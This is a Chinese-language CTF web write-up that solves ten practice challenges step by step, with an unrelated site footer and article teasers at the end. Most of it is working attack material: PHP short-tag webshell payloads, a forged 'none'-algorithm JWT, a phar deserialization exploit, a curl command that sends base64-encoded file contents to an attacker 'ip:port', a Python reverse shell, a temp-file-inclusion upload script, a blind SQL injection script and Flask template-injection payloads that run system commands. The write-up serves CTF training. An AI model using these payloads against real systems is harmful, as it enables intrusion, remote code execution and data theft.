渗透测试练习题解析 7 (CTF web)

一、[红明谷CTF 2021]write_shell 1

考点:

1、PHP 短标签

2、 ``  符号的使用

通过代码可知 check 是一个过滤函数,利用正则的方式过滤掉 空格、php、eval 等一些关键字或符号,$dir 是路径,这个值可以通过 action=pwd 获取到,也就是说获取到的文件内容会通过 file_put_contents 这个函数写入到 $dir/index.php 中。

php 被过滤可以使用 php 短标签:<?=?> ;<?= ?> 可以成功写入,这个 <?= ?> 相当于 <?echo ?>,空格杯过滤了用 %09  或者  \t  代替

?action=upload&data=<?echo%09`ls%09/`?>

?action=upload&data=<?=`ls\t/`?>

/sandbox/065831472858248584ff4993846d5065/index.php

flag 在 flllllll1112222222lag 这个文件中

?action=upload&data=<?=`cat\t/*`?>

二、[HITCON 2017]SSRFme 1

$_SERVER["REMOTE_ADDR"] 在这里相当于我们回显的 IP 地址

所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."183.36.183.18");

执行后得到的路径为:sandbox/71e85e61a595a9ea39f0a49f61054804

然后使用 chdir() 将当前工作路径修改为:sandbox/71e85e61a595a9ea39f0a49f61054804

使用 GET 命令,以及一个过滤函数 escapeshellarg() 来过滤传入的变量 url,生成的结果会放入变量 $data 中。

pathinfo() 函数就是将传入的路径 "字典化" ,比如

basename() 函数的作用:返回路径中的文件名部分

也就是说将 $data 获取到的数据存入到 sandbox/71e85e61a595a9ea39f0a49f61054804/xxx 中

访问:sandbox/71e85e61a595a9ea39f0a49f61054804/xxx

继续访问其他层级的目录

然而读取 flag 文件的时候发现是空白的

也不知道是不是 payload 的问题

但是发现还有一个 readflag 文件

访问后直接下载下来

在文本中并没有找到 flag

没思路,通过其他大佬的 WP 得解:[HITCON 2017]SSRFme_[hitcon 2017]ssrfme1-CSDN博客

利用 file 协议配合 base -c "cmd" 进行命令执行

readflag 是一个可执行文件,需要让它执行,利用命令执行先创建文件 bash -c /readflag| 

创建文件后再通过 file 协议,将读取得 flag 放入 $data 中,通过 file_put_contents 导入 xxx 文件中,访问 xxx 即可得到 flag

?url=file:bash -c /readflag|&filename=xxx

这一题应该是被做了限制,导致 PHP 代码无法写入,不然还有一种思路,通过代码我们可以看到 shell_exec 这个函数,我们可以利用 data 伪协议写入一句话木马到 xxx 文件中,然后访问 xxx 文件出发一句话木马,再通过 webshell 工具连接,绕过 disable_function 进入到 shell 模式,在里面执行 readflag 程序得到 flag

[HITCON 2017]SSRFme-CSDN博客

三、[HFCTF2020]EasyLogin 1

考点:

1、JWT 漏洞破解

注册一个账户,进来后

输入任何东西都会显示权限拒绝,所以大概率是需要 admin 权限

通过注册功能抓包分析

所以我们猜测 0 应该代表 admin,之所以确定是 admin 是因为注册得 username 使用 admin 注册失败,说明这个用户名存在

利用 nodejs 的 jwt 缺陷,当 jwt 的 secret 为空,jwt 会采用 algorithm 为 none 进行解密。

js 是若语言类型,可以将 secretid 设置为一个小数或空数组,空数组与数字比较时为 0,来绕过 secretid 得验证

至于 iat,可以先注册一个账户让后用注册的账户登录,在登陆时抓包将得到的 JWT 解码就可以得到一个已存在的 iat,用已存在的 iat 即可 

通过代码来生成一个 JWT

import base64

a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1729709253}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30

将两串字符串进行拼接得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30.

成功登陆后再次输入并不会有任何提示

但是通过抓包发现该按钮访问的是 api/flag 的地址,我们直接在 url 中输入访问

成功获取到 flag

JSON Web Tokens - jwt.io

JWT在线工具 - kjson在线工具

jwt在线解密/加密 - JSON中文网

四、[网鼎杯 2020 半决赛]AliceWebsite 1

考点:文件包含漏洞

五、[SWPUCTF 2018]SimplePHP 1

考点:

1、phar 反序列化

2、pop 链构造

在查看文件处的 url 看到 ?file= ,猜测和文件读取有关

 f1ag.php 并无法通过文件读取漏洞读到

试试其他文件读取

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 

# 创建一个 show 对象
$show = new Show(); 
// 反序列化触发点
if(file_exists($file)) { 
    # 将 $_GET['file'] 得到的值赋值给 $show->source
    $show->source = $file; 
    # $show->source = new Test();
    # 调用 $show->_show() 方法 功能:高亮显示一个文件
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

代码的意思就是将文件名和 IP 地址进行拼接,然后进行 md5 加密,加密后再和 .jpg 进行拼接

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    # 对象创建时调用
    public function __construct($name)
    {
        $this->str = $name;
    }
    # 对象销毁时调用
    public function __destruct()
    {
        # 令 $this->str = new Show(),当一个类被当做字符串输出时会触发 __toString
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    # 对象创建时调用,$file 是可控的,入口在 file.php
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    # 在给不可访问属性赋值时,该方法被调用
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    # 反序列化时会触发
    # 这里的 __wakeup 不会过滤 f1ag,但是前面的 _show 会过滤 f1ag
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    # 读取不可访问属性的值或者属性不存在时调用
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

魔术方法作用
__construct()当对象被创建时会调用此方法
__destrurct()在某个对象的所有引用都被删除或者当对象被显式销毁时执行
__sleep()当对象被序列化时会调用此方法
__wakeup()当对象被反序列化时将会调用此方法
__call()在对象中调用一个不可访问方法时,该方法被调用
__callStatic()在静态上下文中调用一个不可访问方法时,该方法被调用
__get()读取不可访问属性的值时,该方法被调用
__set()在给不可访问属性赋值时,该方法被调用
__toString()当一个类被当作字符串时将会调用此方法
__invoke()当尝试以调用函数的方式调用一个对象时该方法会被调用
__isset()当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用
__unset()当对不可访问属性调用 unset() 时,该方法会被调用

解题

class 文件中这个地方给了我们解题思路,那就是构造 phar 反序列化,入口在 file.php 文件中

这个表中的函数可以触发 phar 反序列化

刚好在入口函数里存在 file_exists 函数,可以利用它来实现 phar 伪协议读取,然后分析读取 f1ag 的地方,在 Show 类里,可以看到 _show 函数会过滤 f1ag,但是 __wakeup 不会,所以我们要把 show 的 $source 设置为 f1ag.php,然后再想办法输出出来。

构造 POP 链: 

        首先 Test 类中要调用 __get 方法,那么类方法中必须调用一个不存在的属性或者私有属性,在 Show 类中的 __toString 方法中,有这么一句 $content = $this->str['str']->source; ,我们让 $this->str['str'] 为 Test 类,那么调用的就是 $content = Test->source;,就会触发 Test 类调用 __get,__get 中会调用 get 方法,get 方法又会调用 file_get,然后执行到 file_get_contents。不过这个的前提是要触发 __toString 方法,在 Cle4r 类中有一个 __destruct 方法,这个方法有一句 echo $this->test; ,echo 会触发 __toString 的执行,所以我们要让 $this->test$this->test = new Show() ,由于 $this->test 会被赋值为 $this->str$this->str 的值来自 $name,所以我们要令 $name = new Show()

exp

需要在 php.ini 中 让 phar.readonly = On 为 Off,不然会报错

<?php
    class C1e4r
    {
        public $test;
        public $str;
    }
    class Show
    {
        public $source;
        public $str;

    }
    class Test
    {
        public $file;
        public $params;
    }
    $c1e4r = new C1e4r();
    $show = new Show();
    $test = new Test();

    // 这里之所以要为params['source'] 是因为你Show的__toStringd调用source;
    // Test的 get方法会进行检测 $this->params[$key] 未定义 则赋值 index.php
    // 因为调用了一个未定义属性 source ,所以$key的值为 'source' 
    // 所以这里的  $value = $this->params[$key]; 获取的就是 '/var/www/html/f1ag.php'
    $test->params['source'] = '/var/www/html/f1ag.php';
    $show->str['str'] = $test;
    $c1e4r->str = $show;

    # 创建对象 exp.phar 是文件名
    $phar = new Phar('exp.phar');
    $phar->startBuffering();
    // 设置stub
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    //
    $phar->setMetadata($c1e4r);
    // 要压缩的文件
    $phar->addFromString('exp.txt','test');
    $phar->stopBuffering();
?>

执行 exp,会在当前目录下生成一个文件 exp.phar

使用 phar 伪协议读取即可 /file.php?file=phar://upload/f070a0a6889f353fadfc1e57b962baba.jpg

六、[网鼎杯 2020 白虎组]PicDown 1

随便输入个值,发现有个参数 url

尝试一下能否访问其他地址 ?url=http://www.baidu.com ,访问后会下载一个 beautiful.jpg 文件下来

将后缀替换成 html 打开发现是百度的首页,说明漏洞利用点在这个位置

我们尝试能否读取服务器内的文件

非预期解

flag{10b41b16-7677-4f1c-a203-0dac30e886c1}

预期解

尝试读取用于当前进程的启动命令

读取 /app/app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

从代码中发现 /no_one_know_the_manager 可以看到,接口接收两个参数 key 和 shell,如果 key 的值和之前读取的密钥 SECRET_KEY 相等,那么就调用 os.system() 函数执行 shell 参数传入的命令,但是不回显结果

从下面的代码可以看出 SECRET_KEY 是从 /tmp/secret.txt 中获取的,但是获取完这个文件就被删除了,不过这个文件没有关闭,所以任然可以通过 /proc/self/fd/[num] 访问对应文件(此处 [num] 代表未知的数值,需要从 0 开始遍历找出),这里在 /proc/self/fd/3 找到

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接

经过测试 pae?url=/proc/self/fd/3 可以成功获取到 key

key = 4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=

得到 KEY 之后就可以访问了:/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=ls

这个是不会回显结果的,所以我们要考虑带外数据

利用 curl 反弹 shell(自己准备一台服务器)

1、服务器监听端口 :nc -lvp port

2、payload :

no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`ls /|base64`

no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`cat /flag|base64`

对获取到的加密字符进行 base64 解码即可

利用 python 进行反弹 shell

1、通用是监听 :nc -lvp port

2、payload :

/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

七、[NPUCTF2020]ezinclude 1

考点:PHP 临时文件包含

两种情况:

①、利用能访问的 phpinfo 页面,对其一次发送大量数据造成临时文件没有及时被删除【session.upload_porgress 条件竞争】

②、PHP 版本 < 7.2,利用 php 崩溃留下临时文件

关于php文件操作的几个小trick - tr1ple - 博客园

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

使用 php://filter/string.strip_tags 导致 php 崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个 tmp file 就会一直留在 tmp 目录,再进行文件名爆破就可以 getshell

该方法仅适用于以下 php7 版本,php5 并不存在该崩溃:

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

进入靶场

通过源码发现要求 md5 编码后的值要与 pass 相同

响应包中的 Hash 正是 name 经过 md5 编码后的值,把它赋值给 pass 即可

有个参数 file,这里就是文件包含的点

通过目录扫描还发现了 dir.php 这个文件

利用 python 写入 shell (地址注意修改,我中途重启了靶场)

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

脚本运行后访问 /dir.php,得到 tmp 目录下刚刚我们上传的文件名,拼接上路径,然后 bp 访问即可 /tmp/phpgaeoU3

GET /flflflflag.php?file=/tmp/phpgaeoU3 HTTP/1.1

即可在 phpinfo 中找到 flag

另一种方法是利用 session.upload_porgress 条件竞争

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

原理:利用 session.upload_progress 上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为文件内容清空很快,所以需要不停的上传和包含,在情况之前包含该文件。具体可以自行查阅文章

八、[HarekazeCTF2019]encode_and_encode 1

考点:编码 json 转义 unicode 编码绕过

选择 Source Code 的时候会出现下列代码

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  // implode 用于将数组元素组成一个字符串
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

// file_get_contents() 把整个文件读入一个字符串中。
// 将请求的数据通过 json 的形式发送到指定的请求地址处,此时的 file_get_contents('php://input') 主要是用来获取请求的原始数据,注意,此时数据的提交方式应为 POST,并且 enctype 不等于 "multipart/form-data"

// 用变量 body 获取 post 数据
$body = file_get_contents('php://input');
// 对 body 变量进行 json 解码
$json = json_decode($body, true);

// 判断 body 变量是否有效,json 数据要有 page
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  // 从 page 中读出文件名,并读取文件
  $content = file_get_contents($page);
  // 检查 content 是否有效,即不能明文传输 flag,利用 php 伪协议绕过
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
// json_encode 对变量进行 JSON 编码,将编码后的 content 输出
echo json_encode(['content' => $content]);

is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067

通过验证后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;},这样就无法明文读取 flag

这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found,这也无法使用 file:// 。file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

{"content":"ZmxhZ3s1NjlkZWJhOC1iY2ZlLTQzNTMtYjFlMy1jNDE5NThmNjg5YmN9Cg=="} 进行 base 64 解码得到 flag{569deba8-bcfe-4353-b1e3-c41958f689bc}

九、[网鼎杯2018]Unfinish 1

考点:二次注入

通过目录扫描发现这个页面 register.php,这是一个注册页面,猜测是二次注入,下述是验证过程

后端对用户输入的数据进行了部分的过滤,限制了一些字符,通过 fuzz 进行判断

批量测试,这里只测试需要用到的字符,不需要用到的就不进行测试了

fuzz 得到 information, 被过滤。【information 库是为了方便我们后续注入表名,被过滤可以使用 sys 库;逗号被过滤可以用不使用逗号的 from for 代替】

解题思路

注册时用户名输入:0'+(select ascii(substr(database()from 2 for 1)))+'0

同理输入 0'+(select ascii(substr(database()from 3 for 1)))+'0

119 101 98 ASCII 码转成字符就是 web

表名这里我获取不到,通过查看其他师傅的 wp,发现他们是猜测表名、字段名为 flag 进行获取的

0'+(ascii(substr((select * from flag) from 1 for 1)))+'0

自动化脚本

import requests
from lxml import etree  # 这个模块需要自己安装(使用 pip install xml 即可。当然纯正则也是可以解决数据提取的)
from time import sleep
import re

def req():
    url = "http://7c43519f-48e8-4dce-9b4f-20dfa473f1a5.node5.buuoj.cn:81/"
    uri_one = "login.php"
    uri_two = "register.php"
    flag = ""

    for i in range(100):
        sleep(0.3)
        data_register = {"email": "111111111{}@qq.com".format(i),
                         "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),
                         "password": "111"}
        data_login = {"email": "111111111{}@qq.com".format(i),
                      "password": "111"}

        res_register = requests.post(url=url + uri_two, data=data_register)
        res_login = requests.post(url=url + uri_one, data=data_login).text

        html = etree.HTML(res_login)
        res = html.xpath("//html/body/nav/div/div/span/text()")
        res1 = re.search(r'\d+', str(res))

        flag = flag + chr(int(res1.group())) # 正则中 Match 对象提供的用于取回有关搜索及结果信息的属性和方法:group() 返回匹配的字符串部分,也就是取出对应的值

        if(chr(int(res1.group())) == '}'): break
        else: print(flag)

    print(flag)

if __name__ == '__main__':
    req()

十、[CISCN2019 华东南赛区]Double Secret 1

考点:flask 模版注入

应该是要我们填写参数值,不知道参数的名称,随便试一个

没个值都有对应的字符输出,刚开始我还傻乎乎的以为全部遍历一遍说不定就出答案了

事实并不是这样的,这些字符好像没什么用,重新回到 web 页面,对着参数一通乱输,出现了报错页面,这个页面有点熟悉,之前做过一道模版注入的题也是这样。

if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))
 
Open an interactive python shell in this frame    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

这里其实就是我们输入参数的一个判断,首先判断参数是不是为空,如果是空参,则返回 Tell me your secret.I will encrypt it so others can\'t see ,如果传入了参数,那么就会进行加密,可以看到是 RC4 加密,而且还泄露了密钥,密钥就是 HereIsTreasure ,而且通过报错我们了解到了这时 flask 的模版,而且 python 的版本是 2.7 的,我们可以利用 flask 的模版注入,执行命令,不过需要对 payload 进行 RC4 加密

RC4 加密代码

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

flask 模版注入 payload

①、查看根目录文件的payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

②、读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

【注意如果字符串中的引号和最外层的引号冲突了,要进行转义】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/905980.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

day-77 超级饮料的最大强化能量

思路 动态规划&#xff1a;因为每一步要么选A&#xff0c;要么选B&#xff0c;所以问题可以转换为求最后一步从A选或从B选中的较大值 解题过程 定义而二维数组dp,dp[i][0]表示最后一步从A取能获得的最大能量&#xff0c;dp[i][1]表示最后一步从B取能获得的最大能量状态转换方程…

(03)萨班斯-奥克斯利法案(SOX)--- 你和公司的违法成本有多大?

【前言】如果你的公司需要去美国上市&#xff1f;你知道如果违反了萨班斯-奥克斯利法案&#xff08;SOX&#xff09;&#xff0c;你和公司的风险和成本吗&#xff1f; 一、萨班斯-奥克斯利法案&#xff08;SOX&#xff09;合规性是指什么- 你必须知道&#xff0c;如果你的公司要…

C++ | Leetcode C++题解之第517题超级洗衣机

题目&#xff1a; 题解&#xff1a; class Solution { public:int findMinMoves(vector<int> &machines) {int tot accumulate(machines.begin(), machines.end(), 0);int n machines.size();if (tot % n) {return -1;}int avg tot / n;int ans 0, sum 0;for (…

【Linux】从内核角度理解 TCP 的 全连接队列(以及什么是 TCP 抓包)

文章目录 概念引入理解全连接队列内核方面理解Tcp抓包方法注意事项 概念引入 我们知道&#xff0c;TCP的三次握手是由TCP协议 自动处理的&#xff0c;建立连接的过程与用户是否进行accept无关&#xff0c;accept()的作用主要是为当前连接创建一个套接字&#xff0c;用于进行后…

适合视频搬运的素材网站推荐——短视频素材下载宝库

对于摄影爱好者和短视频创作者来说&#xff0c;找到适合搬运和创作的视频素材至关重要。无论是用于丰富画面、增加背景细节&#xff0c;还是提升作品的视觉吸引力&#xff0c;这些素材网站都能为你的创作提供极大帮助。今天&#xff0c;我将为大家推荐几个优质的素材网站&#…

百数功能更新——表单提交支持跳转到外部链接并支持传参

百数的表单外链功能允许用户将表单以链接的形式分享给外部用户&#xff0c;外部用户无需登录或加入团队即可访问并填写表单。 本次更新的表单提交后跳转指定链接的功能&#xff0c;在支持跳转内部链接的基础上&#xff0c;支持用户在完成表单填写并提交后&#xff0c;自动跳转…

初探Servlet

文章目录 1. Servlet概述1.1 定义1.2 作用 2. 主要知识点2.1 生命周期2.2 请求处理2.3 Servlet配置 3. 案例演示3.1 创建Web应用项目3.2 修改项目工件名3.3 重新部署Web项目3.4 创建WelcomeServlet3.5 编写doGet方法代码3.6 编写doPost方法代码3.7 访问WelcomeServlet 4. 小结 …

国标GB28181公网平台EasyGBS国标GB28181公网直播与国标协议的优质对接方案

随着信息技术的飞速发展&#xff0c;视频监控领域正经历从传统安防向智能化、网络化安防的深刻转变。在这一变革中&#xff0c;国标GB28181公网平台EasyGBS凭借其强大的功能和广泛的应用场景&#xff0c;成为视频监控平台与国标协议对接的优质方案。 应急管理部门正积极推进以信…

MySQL数据表导入到clickhouse数据库中

前言&#xff1a;研发需求&#xff0c;需要把MySQL数据导入到clickhouse中来测试计算性能是否提升。 从MySQL导入到clickhouse需要两个工具 NavicatDBeaver 导出MySQL数据 连接上MySQL>选择数据库>选择数据表 选择csv格式 导出数据 下面全部默认即可 开始导出 …

通俗易懂的餐厅例子来讲解JVM

餐厅版本 JVM&#xff08;Java虚拟机&#xff09;可以想象成一个虚拟的计算机&#xff0c;它能够运行Java程序。为了让你更容易理解&#xff0c;我们可以用一个餐厅的比喻来解释JVM&#xff1a; 菜单&#xff08;Java源代码&#xff09;&#xff1a; 想象一下&#xff0c;Java…

力扣——113. 路径总和

113. 路径总和 II 给你二叉树的根节点 root 和一个整数目标和 targetSum &#xff0c;找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [5,4,8,11,null,13,4,7,2,null,null,5,1], t…

【Rust中的序列化:Serde(一)】

Rust中的序列化&#xff1a;Serde Serde是什么&#xff1f;什么是序列化序列化&#xff1f;Serde运行机制Serde Data ModelVistor ApiSerializer ApiDeserializer Api 具体示例流程分析具体步骤&#xff1a;那么依次这个结论是如何得出的呢?什么是de? 总结 Serde是什么&#…

基于生成式人工智能的工业互联网安全技术与应用研究

摘要&#xff1a;近年来&#xff0c;人工智能技术飞跃式发展&#xff0c;工业互联网安全与大模型、生成式人工智能等新技术融合成为研究的重点方向和难题。针对工业互联网安全领域面临的突出性问题&#xff0c;对该领域人工智能应用现状进行了分析与研究&#xff0c;提出了一种…

神舟十九号发射取得圆满成功 科技自强自力筑梦天穹

10月30日凌晨神舟十九号载人飞船发射取得圆满成功&#xff01; 图片来自网络 当日凌晨4时27分&#xff0c;搭载神舟十九号载人飞船的长征二号F遥十九运载火箭在酒泉卫星发射中心点火发射取得圆满成功。执行神舟十九号载人飞行任务的航天员乘组由蔡旭哲、宋令东、王浩泽3名航天…

PHP反序列化原生类字符串逃逸框架反序列化利用

PHP反序列化 概念 序列化的原因&#xff1a;为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递&#xff0c;不可能整个椅子打包发送&#xff0c;这是非常不方便的&#xff0c;所以就要对椅子进行序列化处理&#xff0c;让椅子分成很多部分在一起打包发送…

KINGBASE部署

环境&#xff1a;x86_64 系统&#xff1a;centos7.9 数据库–版本&#xff1a;KingbaseES_V008R006C008B0014_Lin64_install 授权文件–版本&#xff1a;V008R006-license-企业版-90天 一 前置要求 1.1. 硬件环境要求 KingbaseES支持通用X86_64、龙芯、飞腾、鲲鹏等国产C…

建筑行业知识库搭建:好处、方法与注意事项

